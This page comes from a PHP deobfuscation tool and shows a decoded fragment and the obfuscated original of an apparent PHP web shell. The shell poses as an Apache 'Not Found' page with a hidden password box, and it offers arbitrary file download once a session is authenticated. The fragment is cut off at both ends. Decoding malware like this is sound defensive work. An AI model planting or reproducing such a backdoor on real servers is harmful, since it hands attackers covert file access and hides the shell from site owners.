Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
nh\x65ad\x65r\x20{\n\t\n}\n\x69\x6e\x70\x75t[\x74y\x70\x65\x3dpasswo\x72\x64]\x20{\n\twi\x..
Decoded Output download
<? nheader {
}
input[type=password] {
width: 100px;
height: 25px;
color: red;
background: transparent;
border: 0px dotted yellow;
margin-left: 20px;
margin-top:300px;
text-align: center;
}
</style>
</head>
<header>
<h1>Not Found</h1>
<p>The requested URL /tests was not found on this server.</p>
<hr>
<address>Apache/2.4.39 PHP/7.2.18 Server at localhost Port 80</address>
</header>
<form method=\"post">
<input type="password" name=\"password">
</form>
";exit;}if(!isset($_SESSION[md5($_SERVER["HTTP_HOST"])])){if(empty(${${"GLOBALS"}["vuhtiyppkzmw"]})||(isset($_POST["password"])&&(md5($_POST["password"])==${${"GLOBALS"}["vuhtiyppkzmw"]})))$_SESSION[md5($_SERVER["HTTP_HOST"])]=true;else login_shell();}if(isset($_GET["file"])&&($_GET["file"]!="")&&($_GET["act"]=="download")){$zpynuwdl="file";@ob_clean();${$zpynuwdl}=$_GET["file"];header("Content-Description: File Transfer");header("Content-Type: application/octet-stream");header("Content-Disposition: attachment; filename=\"".basename(${${"GLOBALS"}["lrhzfucexetb"]})."\"");header("Expires: 0");header("Cache-Control: must-revalidate");header("Pragma: public");header("Content-Length: ".filesize(${${"GLOBALS"}["lrhzfucexetb"]}));readfile(${${"GLOBALS"}["lrhzfucexetb"]});exit;}if(get_magic_quotes_gpc()){function idx_ss($array){${"GLOBALS"}["vipmfze"]="array";return is_array(${${"GLOBALS"}["vipmfze"]})?array_map("idx_ss",${${"GLOBALS"}["houglecrtqpf"]}):stripslashes(${${"GLOBALS"}["houglecrtqpf"]});}$_POST=idx_ss($_POST);}echo "<!DOCTYPE HTML>
<html>
<!--
##########################################################
##########################################################
##########################################################
--> ?>
Did this file decode correctly?
Original Code
nh\x65ad\x65r\x20{\n\t\n}\n\x69\x6e\x70\x75t[\x74y\x70\x65\x3dpasswo\x72\x64]\x20{\n\twi\x64\x74\x68:\x20\x31\x30\x30\x70x\x3b\n\the\x69g\x68\x74:\x20\x32\x35px\x3b\n\t\x63o\x6c\x6f\x72: re\x64;\n\t\x62a\x63k\x67\x72\x6fun\x64:\x20tra\x6esp\x61r\x65\x6e\x74;\n\tbo\x72de\x72: \x30\x70\x78\x20\x64\x6f\x74\x74\x65d yell\x6f\x77\x3b\n\tm\x61r\x67\x69n-le\x66\x74: \x32\x30\x70\x78\x3b\n\tmar\x67\x69\x6e-\x74o\x70:30\x30px;\n\tte\x78\x74-a\x6c\x69\x67n:\x20\x63\x65nt\x65r\x3b\n}\n</s\x74\x79\x6c\x65\x3e\n\x3c/hea\x64>\n\x3c\x68\x65a\x64\x65r>\n\n <\x68\x31>\x4eo\x74 \x46o\x75\x6ed</\x68\x31\x3e\n<p\x3eT\x68e\x20req\x75es\x74\x65\x64 \x55\x52\x4c /\x74e\x73\x74\x73 w\x61\x73\x20\x6e\x6f\x74\x20f\x6f\x75\x6e\x64\x20o\x6e \x74\x68\x69s\x20serve\x72.</\x70>\n\x3c\x68\x72>\n<add\x72e\x73s\x3eApac\x68\x65/2\x2e4.39 P\x48P/7\x2e\x32.18\x20S\x65rve\x72 \x61\x74\x20\x6coc\x61\x6c\x68o\x73\x74\x20\x50\x6f\x72\x74 \x38\x30</\x61d\x64r\x65\x73s>\n\x20\x20\n\n</h\x65\x61d\x65r>\n\x3cf\x6f\x72\x6d me\x74\x68od\x3d\"p\x6f\x73t\x22>\n<inp\x75\x74 ty\x70\x65=\x22\x70a\x73\x73\x77\x6f\x72\x64\x22\x20na\x6d\x65\x3d\"p\x61s\x73w\x6fr\x64\x22\x3e\n</\x66\x6fr\x6d>\n";exit;}if(!isset($_SESSION[md5($_SERVER["\x48TTP_HO\x53T"])])){if(empty(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x76\x75\x68\x74\x69\x79p\x70\x6bzmw"]})||(isset($_POST["pa\x73sw\x6fr\x64"])&&(md5($_POST["\x70\x61sswo\x72\x64"])==${${"\x47\x4c\x4f\x42\x41LS"}["\x76\x75\x68tiypp\x6bzmw"]})))$_SESSION[md5($_SERVER["\x48\x54\x54\x50_\x48\x4f\x53T"])]=true;else login_shell();}if(isset($_GET["\x66ile"])&&($_GET["file"]!="")&&($_GET["act"]=="d\x6f\x77nlo\x61d")){$zpynuwdl="f\x69l\x65";@ob_clean();${$zpynuwdl}=$_GET["fi\x6c\x65"];header("C\x6fn\x74\x65nt-D\x65\x73\x63\x72ip\x74\x69\x6fn: Fil\x65 Tran\x73fer");header("\x43ontent-\x54yp\x65:\x20\x61\x70\x70lic\x61tion/o\x63t\x65t-s\x74r\x65\x61m");header("C\x6f\x6et\x65\x6e\x74-\x44\x69\x73p\x6f\x73\x69\x74i\x6f\x6e:\x20a\x74\x74\x61\x63h\x6de\x6et; \x66i\x6c\x65na\x6d\x65=\"".basename(${${"GL\x4f\x42\x41\x4c\x53"}["l\x72h\x7a\x66uc\x65\x78et\x62"]})."\"");header("\x45\x78\x70ires:\x20\x30");header("C\x61c\x68\x65-Co\x6et\x72\x6fl: m\x75s\x74-\x72eva\x6c\x69\x64a\x74e");header("Pr\x61\x67m\x61: \x70\x75bl\x69c");header("\x43o\x6e\x74\x65\x6e\x74-\x4c\x65n\x67th: ".filesize(${${"G\x4cOBA\x4c\x53"}["lr\x68\x7a\x66\x75\x63e\x78\x65\x74\x62"]}));readfile(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6c\x72\x68\x7af\x75cex\x65t\x62"]});exit;}if(get_magic_quotes_gpc()){function idx_ss($array){${"GL\x4f\x42AL\x53"}["\x76\x69\x70m\x66\x7ae"]="ar\x72a\x79";return is_array(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x76\x69\x70\x6df\x7a\x65"]})?array_map("\x69\x64\x78\x5fss",${${"\x47\x4cOB\x41\x4cS"}["\x68\x6fu\x67\x6ce\x63\x72tq\x70\x66"]}):stripslashes(${${"G\x4c\x4fBALS"}["\x68o\x75\x67\x6c\x65\x63r\x74\x71\x70f"]});}$_POST=idx_ss($_POST);}echo "<!DO\x43\x54Y\x50\x45\x20H\x54M\x4c\x3e\n<html>\n<!--\n\n\x23#\x23#\x23\x23#\x23#\x23\x23\x23##\x23####\x23##\x23###\x23\x23\x23#\x23##\x23\x23\x23\x23#\x23\x23###\x23##\x23#\x23\x23\x23#\x23#\x23#\x23#\n\x23#\x23\x23##\x23\x23\x23#\x23#\x23##\x23\x23#\x23######\x23\x23##\x23##\x23##\x23\x23#\x23##\x23#\x23\x23#\x23#\x23\x23##\x23#\x23###\n\x23\x23###\x23\x23#\x23\x23#\x23\x23###\x23\x23###\x23##\x23\x23####\x23#\x23#\x23\x23\x23\x23\x23#\x23##\x23\x23\x23\x23\x23\x23#\x23#\x23\x23\x23\x23#\x23\n-->
Function Calls
None |
Stats
MD5 | 0ea0ad3d382e9905f76061064e433cfe |
Eval Count | 0 |
Decode Time | 64 ms |